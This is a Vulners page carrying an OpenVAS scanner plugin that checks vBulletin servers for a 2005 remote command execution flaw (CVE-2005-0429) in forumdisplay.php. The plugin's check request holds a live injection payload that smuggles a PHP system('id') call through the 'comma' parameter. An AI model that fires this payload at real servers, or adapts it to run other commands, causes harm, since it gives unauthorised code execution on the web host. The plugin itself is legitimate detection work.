Lucene search
K

vBulletin Forumdisplay.PHP Remote Command Execution Vulnerability

🗓️ 03 Nov 2005 00:00:00Reported by This script is Copyright (C) 2005 David MaciejakType 
openvas
 openvas
🔗 plugins.openvas.org👁 110 Views

vBulletin Forumdisplay.PHP Remote Command Execution Vulnerability. The remote host is running vBulletin, a web based bulletin board system written in PHP. The remote version of this software is vulnerable to a remote command execution flaw through the script 'forumdisplay.php'. A malicious user could exploit this flaw to execute arbitrary command on the remote host with the privileges of the web server

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
VBulletin Init.PHP Unspecified Remote Vulnerability
18 Jan 200500:00
nessus
Tenable Nessus
vBulletin forumdisplay.php comma Parameter Arbitrary Command Execution
14 Feb 200500:00
nessus
CVE
CVE-2005-0429
15 Feb 200505:00
cve
Cvelist
CVE-2005-0429
15 Feb 200505:00
cvelist
EUVD
EUVD-2005-0430
7 Oct 202500:30
euvd
NVD
CVE-2005-0429
2 May 200504:00
nvd
OpenVAS
vBulletin < 3.0.4 'forumdisplay.php' RCE Vulnerability - Active Check
3 Nov 200500:00
openvas
# OpenVAS Vulnerability Test
# $Id: vbulletin_forumdisplay_remote_cmd_exec.nasl 6046 2017-04-28 09:02:54Z teissa $
# Description: vBulletin Forumdisplay.PHP Remote Command Execution Vulnerability
#
# Authors:
# David Maciejak <david dot maciejak at kyxar dot fr>
#
# Copyright:
# Copyright (C) 2005 David Maciejak
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

# Ref: AL3NDALEEB <al3ndaleeb at uk2 dot net>

if(description)
{
 script_id(16455);
 script_version("$Revision: 6046 $");
 script_tag(name:"last_modification", value:"$Date: 2017-04-28 11:02:54 +0200 (Fri, 28 Apr 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_cve_id("CVE-2005-0429");
 script_bugtraq_id(12542);
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
 script_name("vBulletin Forumdisplay.PHP Remote Command Execution Vulnerability");

 
 script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
 
 script_copyright("This script is Copyright (C) 2005 David Maciejak");
 script_family("Web application abuses");
 script_dependencies("http_version.nasl", "vbulletin_detect.nasl");
 script_require_ports("Services/www", 80);
 script_require_keys("vBulletin/installed");
 script_tag(name:"solution", value:"Upgrade vBulletin 3.0.4 or newer");
 script_tag(name:"summary", value:"The remote host is running vBulletin, a web based bulletin board system 
written in PHP.

The remote version of this software is vulnerable to remote command 
execution flaw through the script 'forumdisplay.php'.

A malicious user could exploit this flaw to  execute arbitrary command on 
the remote host with the privileges of the web server.");
 exit(0);
}

# the code

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/vBulletin"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  http_check_remote_code (
			unique_dir:dir,
			check_request: '/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system(\'id\')."',
			check_result:"uid=[0-9]+.*gid=[0-9]+.*",
			command:"id"
			);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Apr 2017 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.03395
110